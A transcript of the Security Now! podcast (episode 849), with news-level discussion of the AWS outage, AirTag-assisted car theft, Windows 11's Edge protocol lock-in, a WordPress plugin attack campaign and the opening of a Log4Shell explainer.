Log4j & Log4Shell

Description: This week we will, of course, be discussing what's being called the worst Internet-wide security catastrophe in recent memory. Log4Shell is not like Spectre or Meltdown, which were academic theories. This is at the far other end of that spectrum. But first we're going to talk a bit about last week's massive Amazon network services outage and the unfortunate but probably inevitable abuse of Apple's AirTag ecosystem. I need to correct the record over my undeserved praise last week for Windows 11 and its loosening grip over its Edge browser association, and we need to warn all WordPress site admins about a new and serious set of threats. We have a single item of closing-the-loop feedback about today's main topic, a bit of sci-fi and a SpinRite update. Then we'll roll up our sleeves and, by the end of today's episode listening, will understand exactly how, why, and what happened with Log4j and Log4Shell.

High quality (64 kbps) mp3 audio file URL: http://media.GRC.com/sn/SN-849.mp3
Quarter size (16 kbps) mp3 audio file URL: http://media.GRC.com/sn/sn-849-lq.mp3

SHOW TEASE: It's time for Security Now!. Steve Gibson is here. Yes, of course we're going to cover what some are calling the worst security problem in 10 years. Steve says it might even be worse than that. Log4Shell coming up. Also Steve takes back his praise for Microsoft. I knew that wasn't going to last. It's all coming up next on Security Now!.

Leo Laporte: This is Security Now! with Steve Gibson, Episode 849, recorded Tuesday, December 14th, 2021: Log4j and Log4Shell.

It's time for Security Now!. This is the show you've been waiting for ever since we found out on Thursday that the entire Internet was going down. Here he is, my friends, Steve Gibson, the man of the hour, our friend @SGgrc. Hello, Steve.

Steve Gibson: Thank god we were able to stretch a taut string between your location and mine.

Leo: Otherwise no Internet, yeah.

Steve: No.

Leo: This is, some are saying, the worst exploit in a decade. It's hard to imagine anything worse, to be honest.

Steve: I'm seeing that a lot, and I think that probably understates it. The good news is that our response to this is probably far better than it would have been a decade ago. And that, I think, has made a huge difference. I mean, we've been seeing a series of problems. And even the nosebleed execs up in the C Suite, they're getting the idea that, okay, ransomware, that's bad; right? I mean, yeah, they get it. And so I do get the sense that the industry has jumped on this a lot more quickly than they would have 10 years ago. But also there's a lot more to go wrong than there was 10 years ago.

Leo: Who would have thought ransomware would have been a dress rehearsal for Log4j? You know?

Steve: Yeah. Yeah. And so there's a whole bunch of fun things to talk about. But among the things is that this is not a bug, this is a feature. And one of the things that we've seen before, we saw this a lot kind of this year and last year with Microsoft, where some of their biggest problems were the results of features, which someone suddenly went, hey, you know, we can exploit that puppy. And so you're sort of in a different level of poop.

Leo: So to speak.

Steve: When things are working the way they're supposed to, and it's really bad. So this is, and I've been waiting all year to say, the penultimate live episode...

Leo: Woohoo!

Steve: ...of 2021. We've got one more next week where I'm sure we'll be kind of doing some more cleanup on this topic, 849 for December 14th. And I titled it Log4j and Log4Shell since Log4j is the feature, and Log4Shell is the name that's been given, although I saw Logjam once, but that doesn't seem to be widespread. I'm seeing Log4Shell is what the exploit is called.

Leo: Log4j's the tool; Log4Shell's the exploit.

Steve: Correct.

Leo: And it's just bad all around.

Steve: Oh, boy. So we do have some other things to talk about. Log4Shell, you know, as I already said, is not like Spectre or Meltdown, which were academic theories. This is the far other end of the spectrum. And I heard you on MacBreak Weekly talking about how maybe even Apple's iCloud was vulnerable.

Leo: Yes.

Steve: We have some screen shots of it and its problems. So, yeah. But we're going to talk a little bit about last week's massive Amazon network services outage, and sort of the problem that we're seeing developing around networks which lose their resilience, which is what seems to be what happened last week.

We also have the unfortunate but probably inevitable abuse of Apple's AirTag ecosystem and some what-to-dos about that. I also need to correct the record about my sadly undeserved praise last week for Windows 11 and its loosening grip over its Edge browser association, which turns out not to have been correct. And we need to warn all WordPress site admins about a new and serious set of threats.

I've got a single piece of closing-the-loop feedback which is about essentially, well, it's about today's topic; a brief touch on some sci-fi; an update on SpinRite; and then we're going to roll up our sleeves. And by the end of today's episode, everybody listening will understand exactly how, why, and what happened with Log4j and this Log4Shell nightmare that the industry is literally scrambling to remediate.

Leo: I'm sorry, I was just updating my Minecraft server. So I'll be with you in a moment.

Steve: And you know that's where it began?

Leo: I know. That's where it was discovered. Now, I'm running NGINX. So I'm probably not using Log4j. That's for Apache, I think; right?

Steve: Well, Apache is the maintainer of the library.

Leo: Oh, but other things could be using it. I see.

Steve: Yes, yes, yes. Basically any Java infrastructure probably has it, which of course is Minecraft.

Leo: Minecraft, yeah.

Steve: And, like, whoa, so many other things. Apache even has, I mean, logging is such an issue, they have a subdomain, logging.apache.org. And the first thing you see in the upper left-hand corner when you go there is [fanfare] Log4j, you know, which is the de facto logging solution.

Leo: Yeah, yeah.

Steve: Oh, but Leo, wait - well, well, we will get to the details.

Leo: We'll get to it.

Steve: And we have a great holiday Picture of the Week, as well.

Leo: I can't wait.

Steve: So, you know, the color of Cisco's network equipment has always been dark green. They're sort of a Cisco green. And it occurred to some enterprising, probably literally enterprising, individual that this holiday season they could stack those suckers up. And they come in various sizes. So if you used diminishing sizes as you went upwards, you'd get sort of a conical structure, reminiscent of a Christmas tree.

Leo: Put the six-port switches at the top, and put your 48s, the 128s at the bottom, you've got a kind of a...

Steve: I think maybe a WiFi antenna of some sort there on the top to be the...

Leo: Wire up the ports, yeah. Oh, yeah.

Steve: Yeah, yeah. And you get something very festive. And you want to string a few CDs through the cords. We've got a basketball and a big pill and a little box and - anyway, this was the...

Leo: Merry Christmas. Merry Christmas.

Steve: ..."How Geeks Do Christmas" for our Picture of the Week.

Leo: That's hysterical. So tall we had to put it in sideways to fit it into the [crosstalk] notes.

Steve: That's right. For the first time ever, the description of the podcast is running down the margin because the tree was so vertical.

So what happened last week with Amazon? It sounds like the sort of routing error we've seen before, but I don't think that was it. Based on some, you know, they were never very clear about this. But the links over which our traffic is flowing are today so busy that, if anything happens to misdirect and unbalance the overall traffic flows, things can grind to a halt.

One of the coolest design features of both Ethernet and IP is the autonomous way both traffic layers handle packet collisions and dropped or lost packets. But one of the downsides of this autonomous approach is that both layers require a certain minimum amount of headroom to operate. And they begin to fail rather spectacularly as their links become congested.

Last Tuesday morning Amazon posted at around 7:30 in the morning Pacific time, here on the West Coast, they said: "An automated activity to scale capacity of one of the AWS services hosted in the main AWS network triggered an unexpected behavior" - I bet it was - "unexpected behavior from a large number of clients inside the internal network."

Again, that's like, you know, about as gray as it could be, but okay. They're saying something.

They said: "This resulted in a large surge of connection activity that overwhelmed the networking devices between the internal network and the main AWS network, resulting in delays for communication between these networks. These delays increased latency and errors for services communicating between these networks" - right, as would happen - they said, "resulting in even more connection attempts and retries. This led to persistent congestion and performance issues on the devices connecting the two networks."

So as I noted, there can be a sort of cascade failure, like sort of an internal DDoS, where a large and highly complex network's persistent attempts to push traffic through can create self-perpetuating congestion. Like once it gets bad, it can't back off. It just doesn't know how. And so it sounds as though something like that happened. This went on for about four hours, after which the scope of the resulting outage became quite sobering as it took down a very long list of high-profile sites and online services, including many that had no - didn't even have any idea that they were dependent upon AWS because it's like, you know, like subsidiary services that they depended upon were using AWS. And when that went off, so did their subsidiaries, and that brought them down, sort of in a dominos effect.

Ring, Netflix, Amazon's Prime Video, and Roku all disappeared on the East Coast. Amazon's package delivery personnel began posting online that they could no longer access the internal apps they needed to scan packages, access delivery routes, and see upcoming schedules. Colleges had to postpone online final exams because the exam servers were down. Roomba vacuum cleaners refused to do their work. Internet-dependent cat litter boxes and food dispensers wouldn't operate. You know, it's like end times.

Leo: The Wall Street Journal had the funniest article. That's where that cat litter and kibble feeders came from. They had the saddest-looking people. We talked about it as a kind of a super First World problem. Who's going to feed my cats? Amazon's down. You know what else went down, though? Amazon's status page was based on AWS so no one could tell that Amazon was down.

Steve: Yes.

Leo: Nice.

Steve: Who's going to scoop the poop?

Leo: Who's going to scoop the poop?

Steve: That's right.

Leo: Not me, surely.

Steve: As we know, Amazon has suffered similar problems in the past. And other major web services and infrastructure companies have been hit by significant outages just this

year. Fastly experienced an outage in June that took down major websites including Amazon, The New York Times, and Hulu. And as we know, two months ago all of Facebook's services suffered their worst outage since 2008 over what turned out to be a configuration issue.

Okay. So in any event, like it or not, what seems to be happening is that more and more of our lives are becoming dependent upon complex and tightly interconnected networks and their relationships. As usage grows, what was initially ample overcapacity tends to be eliminated in the interest of economy. Everything continues working, but the network gradually grows increasingly susceptible, well, like brittle, to systemic shock. And many of those of us in the U.S. know we're currently living through a real-world example of exactly this, where our physical goods supply chain had quietly removed all of its slack in the name of just-in-time delivery efficiency. But when the COVID outbreak caused consumer demand to first slack off and then to come roaring back, we learned that the system wasn't set up to handle such rapid changes in network congestion.

So last Tuesday, by mid-afternoon, Amazon had everything sorted out. But this should remind us that there's a tradeoff being made which for the most part makes sense. Huge economies of scale can be obtained by sharing pooled resources. We've talked before, but that's sort of like the Cloudflare win, right, is that by pooling many organizations' resources behind a system that has overcapacity, any one of them can be protected. They couldn't all be protected at once because they're depending upon the sharing of the pool. Of course the downside is that very large single points of failure are created where none existed before.

We used to, in the early days of the Internet, right, we weren't talking about, oh, my god, something happened with one company, and who knew how many things were dependent upon it. We were all bragging in the beginning that the Internet was - the whole point of its design was its incredibly high level of tolerance for outages and failures. Things would automatically route around problems. Well, yeah. That was a nice idea. And we've enterprise-ized the Internet. And in enterprise-izing the Internet, we've said, oh, we don't need all that redundancy. We don't need, you know, yeah, that's all expensive. We don't want that. We're going to put everything in one place, and the Internet's going to get everybody to it. Unless that becomes a crater. And then you've got a problem. So anyway, that's what happened on Tuesday with Amazon.

I guess rather than "No good deed goes unpunished," I suppose this would be "No cool technology is immune from abuse," or perhaps we would call this "Why we can't have nice things." It turns out that Apple's AirTags, those cool little tracking dongles, are now being abused, well, by miscreants, in one instance by car thieves who have figured out that they can "tag" a valuable car which they spot in a parking lot and later use the AirTag to locate the car wherever it went.

Okay. So back in April, when Apple began shipping this technology, they were all happy about it. They explained: "Apple today introduced AirTag, a small and elegantly designed accessory that helps keep track of and find the items that matter most with Apple's Find My app," you know, "Find My" being the name of the app. "Whether attached to a handbag, keys, backpack, or other items" - or they didn't mention cars - "AirTag taps into the vast, global Find My network and can help locate a lost item, all while keeping location data private and anonymous with end-to-end encryption." That's right. You won't be able to catch the bad guys because it's encrypted. "AirTag can be purchased in one and four packs for just $29 and $99 for four, respectively, and will be available beginning Friday, April 30," they said back then.

In fact, their VP of Worldwide iPhone Product Marketing said: "We're excited to bring this incredible new capability to iPhone users with the introduction of AirTag, leveraging the vast Find My network to help them keep track of and find the important items in their

lives. With its design, unparalleled finding experience" - I guess that's what you want from Apple is an unparalleled finding experience - "and built-in privacy and security features, AirTag will provide customers with another way to leverage the power of the Apple ecosystem and enhance the versatility of iPhone." And of course iPad as well.

Okay. Unfortunately, this also brings military or CIA-level object trackability to bad guys, as well as to our forgetful moms. Apple explains: "If AirTag is separated from its owner and out of Bluetooth range, the Find My network can help track it down. The Find My network is approaching a billion Apple devices and can detect Bluetooth signals from a lost AirTag and relay the location back to its owner, all in the background, anonymously and privately." Which is a feature that the car thieves really appreciate.

So unfortunately, Canadian Police in the York Region of Canada say they've discovered a new way in which thieves are using this friendly consumer technology to track and eventually steal high-end cars in the area. Thursday before last, investigators said they have identified at least five incidents since September where suspects placed Apple AirTags in "out-of-sight" areas of the vehicles when they were parked in public spaces like mall parking lots.

And in fact in one of the pictures there was like the back of some big towing-capable thing. You know how you have plugs that you plug into the back to extend the brake lights and things when you're towing something. Well, those plugs had nice rubber protective covers. And they stuck an AirTag in there and closed the little rubber protective cover. So that's good because it's rubber, so radio can get out, and the vehicle can be tracked.

So these thieves, after hiding the tokens, used the AirTags to locate the vehicle at the victim's residence. After the vehicle is located, police said the thieves gain entry through the passenger or driver-side door. And once inside, the vehicle's OBD, remember that we talked about that, the On-Board Diagnostics port, is used to program the vehicle to accept a key that the suspects have brought with them and can then start the car and happily drive it off.

So what can be done? Okay. For one thing, be very suspicious if you own an iPhone or iPad and happen to receive a notification of a nearby AirTag, like that's not yours. You know, your phone and Pads are synchronized with the ones you own. So they expect to be able to pick up the AirTags that are encoded as being yours. But be suspicious if you have an AirTag that is not yours. And your phone will notify you of that. Apple for their part is aware of the danger of this abuse. AirTags will emit a sound when they're in the presence of a non-owner for some period of time. And in response to this problem, in June Apple shortened this duration from three days to a few hours, mainly to deter the abuse of these dongles being used for tracking other people and objects.

The problem, of course, is that not everyone is part of the Apple ecosystem. Many people are carrying Android devices. The Android ecosystem has already responded strongly to the need for unknown AirTag scanning. A search for "AirTag" on the Google Play store turns up a great many nice-looking apps. And I suppose that because Apple maybe felt some sense of responsibility for having put their own reputation behind AirTags, they too just yesterday released their own AirTag Tracker Detection app for Android called "Tracker Detect."

Unfortunately, though it's still early days, Apple's offering has not gone over very well in Androidland. I guess it's not surprising that there appears to be a strong anti-Apple bias over in Androidville. Some of those who posted reviews are complaining that the app will only scan on demand and then not continuously in the background, while others are complaining that no one wants to have power-wasting Bluetooth running continuously.

Someone named Matthew Conto posted yesterday. He said: "Not very effective compared to existing AirTag warning tools. Apple's app doesn't do background scans, and shows all AirTags nearby instead of only unknown AirTags. The app also doesn't save previously found AirTag locations, nor does it let you save their serial numbers. It's as if Apple saw the bare minimum they needed to do and managed to do less. C'mon, Apple, do better."

Leo: That's actually fairly accurate.

Steve: I know.

Leo: And by the way, it won't find my AirTag, even though it's sitting right next to me.

Steve: And didn't you also have to wait, like five minutes or something for it...

Leo: Yeah. It's scanning, scanning.

Steve: Yeah.

Leo: Yeah, this is useless. This is completely useless.

Steve: Robert Messier, or Messier maybe, posted earlier today. He said: "Stupid is as stupid does. Why would anyone want constant scanning running in the background, thus draining the battery? That defies logic." He's grumpy. "There is no legitimate need for it. Just manually scan your own stuff when you feel the need. It is quite pathetic and sad" - like I said, he's grumpy.

Leo: Don't you love comment sections? Geez.

Steve: I do, I do, "to think that you have to constantly scan. Get a grip, snowflakes."

Leo: Holy cow. Holy cow.

Steve: Yeah. So mostly just a heads-up about the issue, which is real. Apple has created some very effective and very affordable trackers. I'm sure that when placed around the neck of the family dog or cat, or perhaps a senior citizen who insists upon asserting their independence they bring significant peace of mind to their owners. That same functionality, as with any technology, can also be used for a malign purpose.

And if you are in the Android ecosystem, doesn't look like Apple has quite cornered the market on AirTag tracking. Literally, there's like a page of them, and they all look really much better than what Apple offered. Again, I think they just - maybe Apple figured, well, we got - since it's our tech that's being abused, we have to step in with something official. But, boy, they apparently could have done a lot better job. Maybe they'll update it.

Leo: It's hard to think of how you could do a Bluetooth tracker that didn't have these, inherently have these problems. I think Apple's done as best they could. And of course the problem with AirTags is not so much that they're any different than, say, Tile or the other tags, but just that Apple's network is so huge because there's so many iPhones.

Steve: Right.

Leo: And so it is much more useful than any of these other ones and as a result can be misused.

Steve: But Leo, couldn't it work?

Leo: Couldn't what work?

Steve: Their tracker. I mean, apparently it doesn't even work.

Leo: Well, that's another problem. I don't know. There's a lot of Android phones out there, you know, it's hard to make - I am not surprised. But, yeah, it doesn't see this. And I don't know why it wouldn't.

Steve: You're like, you pressed it against the screen and it didn't see it.

Leo: Yeah, it still doesn't see it.

Steve: It's like, you know, shove it in the little port and see what happens. I mean, come on.

Leo: Yeah, I mean, Bluetooth's on. I don't think it's that. I don't know what it is. I don't know what it is. So, yeah, not that useful. For all, I mean, to be honest, this AirTag could have been dead for years. Well, I got it not that long ago. But it could be dead for all I know. I never use it. I think this whole idea of Bluetooth trackers is maybe not that useful.

Steve: Yeah, I agree. I do agree. Now, if only everyone had not turned off Amazon Sidewalk, we would actually have...

Leo: We'd have something.

Steve: ...a ubiquitous network.

Leo: There's nothing to compete with Apple's iPhone network. I mean, that's the thing, and that's their power, of course.

Steve: Yeah.

Leo: You know, they're everywhere.

Steve: Yeah, yeah. I'm going to take a sip of water here, Leo, while you tell our listeners why we're here.

Leo: Well, please do. Okay, my friend.

Steve: So Windows 11 versus your browser of choice.

Leo: Oh, god. The endless topic; what?

Steve: Oh, my god. It turns out I was wrong to give Microsoft props for reversing themselves about Windows 11's insistence upon Edge.

Leo: Oh, that's hysterical.

Steve: I saw a published UI dialog on an extremely reliable tech news site which clearly showed at the top, above all the granular options, a single one-click option in Windows 11 which appeared to be offering a single-click browser switchover. But then I listened to Paul Thurrott the next day during Windows Weekly, laboriously slogging through the description of what all still needs to be done.

My problem, which I've not yet solved, and I guess I'm going to have to, is that I don't have a single Windows 11 machine upon which to test things. Paul does. Otherwise I could be sure of what I was saying. Nothing I have will run Windows 11, which, given everything we've seen of Windows 11, is just fine with me. I'm driving an 18-year-old car, Leo, which I absolutely love. Low mileage. It's in perfect condition. It was beautiful then, and it's beautiful now. They don't make them like they used to. I could buy a new car if I wanted one. I don't want one. I like the one I have. Now, the crank I use to start the engine, okay, I agree, that's a little retro, and it can be annoying in the rain. But it has a really nice place for me to set down my Palm Pilot.

So just to correct the record, latest information I've managed to track down indicates that with Windows 11 it will not be possible to completely switch away from Edge. It's possible to mostly switch away by manually and individually changing the browser associations for HTTP, HTTPS, HTML, PDF, WebP, SHTML, FTP, HTM, Mailto, News and any others that you are able to change. And I did see a UI for that. On the other hand, it was those things, those options, those granular what do you want to associate with each of these things was beneath that single-click switch button, so perhaps the entire thing was a fever dream. I don't know.

But the final gotcha is that that still leaves one thing unchanged. Back in Windows 10, when Microsoft began promoting their first Edge browser, remember Edge Classic or

whatever they call it, they invented their own Windows-centric protocol scheme. Schemes, remember, are those protocol names to the left of the separating colon. So "http:" is a scheme, as is "https:." Starting with Windows 10, Microsoft invented "microsoft-edge://" as a scheme, and not surprisingly they associated it with their Edge browser.

Leo: It's a good word for that, a "scheme."

Steve: Yes, it's a scheme.

Leo: Yeah, a scheme.

Steve: Those schemers. It's that association with some third-party tools such as "EdgeDeflector" or "Search Deflector" that those apps were created to change, that is, to fight this microsoft-edge scheme. And contrary to what I believed and said last week, between Windows Insider Preview builds 22483 and 22494, Microsoft decided to up the ante in this battle and neuter any attempt to change the association of their own microsoft-edge:// scheme away from Edge. You can't do it any longer. Consequently, apps like EdgeDeflector will no longer work for that scheme, and EdgeDeflector's developer has said he gives up. He's throwing in the towel. He's not going to escalate this battle any further. He's apparently said that there were ways around it still, but it risked breaking Windows. So no.

So this means that Microsoft's Widgets app in Windows 11 and perhaps a few other things, which are hard-coded to use the microsoft-edge protocol scheme exclusively, will always launch Edge, and that Edge may continue to use that opportunity to complain about no longer being the system's default web browser for everything else, too. Oh, boo hoo. Microsoft has clearly decided that this is a sword they're willing to fall on if it comes to that. It's not as if Edge is bad. I mean, it's Chromium-based; right?

As we've said, and has been noted, it's becoming laden with unwanted crapware and functionality that unfortunately keeps it from being as clean and pure as it originally was. But I guess mostly it's just the loss of choice which is sad to see, the idea that a Windows user can no longer, as we have always been able to, choose the browser that we want to have open our various HTML things. Oh well. And as far as I know, that is correct. Though I have not been able to test it myself. As I said, I'm going to have to solve that problem here.

Okay. WordPress once again in the crosshairs. We haven't talked about WordPress for, like, since earlier this year when it was, like, weekly. But now 1.6 million WordPress sites are under active attack from more than 16,000 IP addresses, in a protracted attempt to exploit multiple known weaknesses which exist in four plugins and 15 themes, all part of the Epsilon Framework. WordFence, the company that specializes in offering add-on WordPress security, said last Thursday that it had detected and blocked more than 13.7 million attacks aimed at those four plugins, well, the four I'm about to name, and 15 themes over a period of just a day and a half; and that the attacks had the goal of taking over the websites and carrying out malicious actions.

Okay. So the four plugins that are being attacked, there's the Kiwi Social Share plugin. WordPress Automatic, yikes. If yours is not up to date, I mean, that's very prevalent. The Pinterest Automatic plugin and PublishPress Capabilities. So those four plugins are under attack on specific version numbers less than the versions which fixed the vulnerability being attacked. I've got them in the show notes for anyone who's interested. But

anyway, if you are managing any WordPress sites using Kiwi Social Share, WordPress or Pinterest Automatic, or PublishPress Capabilities, absolutely make sure that you are up to date. And as we'll see, you need to take a look at what your authorized visitor list looks like. I'll get to that in a second.

The 15 vulnerable Epsilon Framework themes, just in case any of them will ring a bell for any of our listeners, are Activello, Affluent, Allegiant, Antreas, Bonkers, Brilliance, Illdy, MedZone Lite, NatureMag Lite, NewsMag, Newspaper X, Pixova Lite, Regina Lite, Shapely, and Transcend. So there's 15 of those, all associated with specific version numbers. If that plugin is not up to date, it's likely under attack.

Okay. So when we talk about 16,000 somethings, IPs, those are real, unlike in the case, for example, of UDP flooding, because these are unspoofable. They're unspoofable because they have to be TCP connections in order to perform these attacks. So it's clear that if you're talking 16,000, like more than 16,000, that's a botnet which has been engaged for this purpose. The attacks observed by Wordfence involve the adversary updating the "users_can_register" option in WordPress to allow anyone to register, and setting the "default_role" to administrator. These two changes allow any successful adversary to register on the vulnerable site and automatically be assigned admin privileges. And at that point, of course, they're in control.

Now, thinking about this for a minute, what I want to know, Leo, is how - think about it - how it could possibly be that WordPress even offers the option anywhere for default role to be set to administrator? How can it possibly be useful to allow anybody who signs up and creates an account to be given admin privileges? That should not be an option in WordPress. But it's there, and these guys turn it on, and then they can do what they want to. So anyway, if anybody has any of those plugins or themes, be advised that there is a very aggressive campaign underway to get into your site.

Oh, and as I said, now you can see why, if you have those, and you're worried, take a look at the admin users that are listed for WordPress on your site and see if there are any you don't know because that would be a giveaway that somebody is in there. And of course we know that once they're in, and they've been able to modify any files they want to, WordPress is just a massive PHP. So good luck finding something that has been changed in there. You really just have to expunge the works and back up your data, reinstall the site from scratch, and then restore only the content and not all the glue that holds it together.

Apropos of today's topic, TomTen tweeted publicly, so I felt that it was okay for me to retweet this, he said: "Our company is in a panic trying to get a lock on all the places where Log4j is used. Seems like it sneaks into everywhere." And we'll be talking about that of course at length.

Two quick little sci-fi notes. We just finished, Leo, the third season of Netflix's "Lost in Space."

Leo: You have more stamina than I do.

Steve: I know.

Leo: I don't think I got to the first season.

Steve: It really is a kids' series, as it always was.

Leo: Yeah, yeah. It was nicely done. I thought they did a good job. But...

Steve: I thought they did a great job, actually.

Leo: Yeah, yeah.

Steve: But the way they ended it, you know, they kind of left it open-ended.

Leo: Are they still lost?

Steve: No, but they sort of left it open so that they could do something more if they wanted to in the future. But eh.

On the other hand, the very adult sci-fi series "The Expanse" has started its sixth and final season. It's rolling them out weekly. Since I can no longer believe that we all used to wait a week between episodes, that's just like, you know, no wonder you need a recap at the beginning in order to remind you where you were the week before. Anyway, we plan to wait until the whole series has wrapped up, and then we'll watch the final season over several nights rather than several months.

Oh, and in good news, Leo, you keep talking about "Succession." Lorrie has indicated that she'd be willing to watch it, even though the people are despicable.

Leo: That's the whole point. Tell her - this will get her. It's Shakespeare. It's like King Lear. Everybody is awful. They're all trying to kill each other. It's a constant battle for power. And by the way, it just completed Season 3 on Sunday. Mindboggling. Now, this is my personal opinion. Lisa does not think - I think it's my favorite show of all time. Lisa says, "It's fine." So, you know, it's just my personal favorite.

Steve: More than "Breaking Bad" that was previously...

Leo: Yeah. Yeah. More than "The Sopranos." More than "Breaking Bad."

Steve: "Better Call Saul" ended up being really good, too.

Leo: It's very good. I love "Better Call Saul." No, there's something about "Succession," or maybe it's just me, but it just rings my chimes.

Steve: Sort of like Schadenfreude on steroids.

Leo: Well, they're terrible people. But they're all damaged in their own unique and hysterical ways.

Steve: Wow.

Leo: Yeah.

Steve: Well, I look forward to it.

Leo: It's kept its - I think it's kept its quality for three seasons. Which is not...

Steve: And there will be a fourth?

Leo: There will be a fourth, yes. Now, I'm hoping they stop after four. I've yet to see a show that makes it past four seasons with the same quality.

Steve: Yeah, even "Game of Thrones" sort of dragged for a while.

Leo: Yeah, yeah.

Steve: It was like, what happened to...

Leo: And then Season 8 was like [disparaging noise]. So, yeah.

Steve: Okay. The new intrinsic debugger that I described last week that I would be building into SpinRite after last week's podcast is in place, and it quickly allowed us to determine that the problems we're seeing do not appear to be in my code. They're apparently being caused by specific hardware, and only in specific cases. But I won't know that for sure until those oddball problems are resolved.

All of the new SpinRite code written so far appears to be working perfectly for the majority of its testers who don't have any of a small number of machines which are causing trouble. I think we have, like, four, maybe five mysteries at the moment. And the number of such machines continues to drop. So we're like in that classic 95/5 phase where a lot of the work is going into a very few cases. On the other hand, I need to know because I need to make sure that it's not my code. Or I need to come up with some solid workarounds to deal with these because other people will have these problems, too.

Since I'm currently able to occupy myself full time working to resolve these remaining issues, that's where my focus will remain until either every known problem is resolved, or I run out of things to try. Most of the machines, I think actually all of the machines having trouble are very old, but they're still in service. So I've purchased instances of the offending hardware from eBay, and a bunch of it is currently en route to me. Recreating the problem here is always the best way to get something fixed quickly, and not to just endlessly tax my very patient SpinRite testers with like, okay, try this. Okay, try this. Okay, try this. Okay, try this. And adding to my own SpinRite test machine inventory is always money well spent.

The problem that I'm seeing is that the threaded discussion posting mode of GRC's text-only newsgroup, while fabulous for maximum speed group sharing and feedback on new

releases, that lets me move forward so quickly. But it doesn't really work as well for managing persistent problems that only one or two people are experiencing, and only on specific hardware. Nobody else is able to recreate these problems. So as a consequence, things tend to get spread around, and it's possible for things to fall through the cracks.

The best way to handle that is with a static knowledgebase of known problems. So I'm hoping that adding GitLab to our development community might provide the missing piece. After today's podcast, I plan to spin up an instance of GitLab on a GRC server. I have a spare FreeBSD Unix box which I used a couple of years ago as my staging machine for the migration of all of our stuff on the existing old FreeBSD machine over to where we are now. So I plan to use that and host GitLab there and see if it does the job for us.

So anyway, work is moving apace. It is looking like the estimates that the benchmark is currently producing were probably pessimistic in its estimate of the amount of time that SpinRite would require to process a drive. We won't know until we actually have some full-drives being processed, and we can compare to the estimate. And then I'll adjust that accordingly. But anyway, I am very happy with its performance. And I'm really happy with the very few number of problems we're seeing.

For example, there's a particular ASUS motherboard and laptop, both of the same generation, both using AMD, both causing an overwrite of SpinRite's code, but SpinRite's not doing it. So it must be something about the fact that SpinRite is using DMA, and an aberrant DMA transfer is causing an overwrite. If I use low memory buffers, there's no problem. It's only when the buffers are moved up into high memory, like above the 1MB point, that there's like an overwrite down below. So it's like maybe some high bits of addressing are being lost.

Anyway, it's both of these different people with different machines, but they're both ASUS, and they're both AMD, and they're both the same chipset, are seeing exactly the same problem. I mean, exactly. So, you know, it's something weird. Anyway, I found one of the motherboards on eBay for 99 bucks, and I'll get it later this week and be able to recreate, hopefully recreate the problem. Oh, oh, I forgot to mention it only also happens for one person with a 200GB Maxtor IDE. Not 120GB or 80GB. So it's like, what? Anyway, I can't wait to find out what's going on.

Leo: It's interesting, huh.

Steve: Yeah, it is. And it's because I've been dogged about these things that I end up with something which really does work reliably. And I'm of course willing to wrestle this thing to the ground.

Leo: Bravo.

Steve: So I will probably next week be able to say, guess what it was?

Leo: Let's talk about Log4Shell.

Steve: So I got a big kick out of our listeners' tweets this morning because they all connected when they were seeing some of this with exactly what the first thing was that occurred to me, which is that we've seen a lot of very bad vulnerabilities with CVSS

scores of 9.8. But of course that's out of a maximum of 10. And I've often wondered on this podcast aloud what a CVSS score of 10 might look like.

Leo: Do we know now?

Steve: We need wonder no longer.

Leo: Oh, lord.

Steve: Yes. CVE-2021-44228, which has been assigned to track the vulnerability known as "Log4Shell," has earned itself the maximum possible CVSS score of 10.0. They don't come any worse than this. And it occurred to me this is the only instance in which Bruce Schneier's oft-quoted pithy observation that "vulnerabilities only ever get worse, they never get better" doesn't apply because this one cannot possibly get any worse. It is the worst it can get.

Okay. So first a bit of nomenclature. "Log4j" is a very widely used, as in many, many millions, if you could even count them, of installations, as the one tweeter who I quoted said, you know, their company is on pins and needles trying to find all the instances of it within their organization because it's everywhere. It's an open source server-logging JAVA framework. Its job is to log things that happen on a JAVA server, like the contents of form submissions or HTTP query metadata details and such.

These days, with storage being so inexpensive, logs tend to be kept of all sorts of activities. Like what's the first thing that any security guy does when a problem comes up? Like when they're suspicious of something? You look at your logs to determine what happened in the past. So consequently, many sites just log everything in case it might be useful after the fact. And it often is. But now just imagine how bad it would be if what is supposed to be a passive logging tool wasn't passive after all, but instead would actively interpret, and there's that word, "interpret," the content that it was logging, and that content comes from the outside. This would allow a site's visitors to talk to it, as well as unknown remote miscreants, simply by providing something, anything, that gets logged.

So how widespread is this? Log4j is included with almost all the enterprise products released by the Apache Software Foundation: Apache Struts, Flink, Druid, Flume, Solr, Kafka, Dubbo, whatever that is, and probably many more.

Leo: These names, wow.

Steve: Yeah. Open-source projects like Redis, the big caching server.

Leo: Redis Server, we use that, yeah.

Steve: Redis, ElasticSearch, Elastic Logstash, the NSA's Ghidra that we've talked about, and countless other things use Log4j in some capacity. And all of the companies that use any of these products are indirectly vulnerable to the Log4Shell exploit, even if some may not be aware of it because Log4j is buried deeply within their infrastructure. According to research published last Thursday, companies with servers confirmed to be

vulnerable to Log4Shell attacks include Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and no doubt thousands more.

Sunday, the Canadian news outlet The Globe and Mail explained, and I heard you mention this on MacBreak Weekly, Leo, explained why Canadian government websites had all suddenly gone dark. They wrote: "Amid warnings from Ottawa of a global online security issue, Quebec said Sunday that it has shut down almost 4,000 government websites as a preventative measure after receiving a cyberattack threat."

At a news conference, Quebec's Minister of Digital Transformation said the province was made aware of the threat on Friday and has since been working to identify which websites are at risk, one by one, before putting them back online. "We're kind of looking for a needle in a haystack," Eric Caire said, in Quebec City. "Not knowing which websites use the affected software, we decided to shut them all." So, I mean, you know...

Leo: Well, sure.

Steve: Who can blame them these days? Like I said, this is not your grandmother's cyberthreat; right? I mean, this is not a decade ago, even though it may be the worst thing that's happened in a decade. Everybody's on edge now with all this ransomware stuff happening.

He added: "Once we make sure the system is operational, it gets back online." Mr. Caire said the provincial vaccine passport system was never at risk, saying it doesn't require the software that has been the focus of attention. Canada Revenue Agency goes offline as a precaution, citing a global vulnerability. Defense Minister Anita Anand said the federal government is aware of a vulnerability in a software product called Apache. Okay, well...

Leo: She's very aware. That's good for her.

Steve: She's not quite tuned into the deal.

Leo: M'kay.

Steve: But she says, "which has the potential 'to be used by bad actors in limited and targeted attacks.'" Right. Ms. Anand said in a statement Sunday that the Canadian Centre for Cyber Security is calling on Canadian organizations of all types to pay attention to this "critical Internet vulnerability affecting organizations across the globe."

Okay. So this might seem like something of an overreaction. But the more we learn the less it appears so. I mean, really, I can understand. Just pull the plug and get your tech guys in there to figure out if there's a problem.

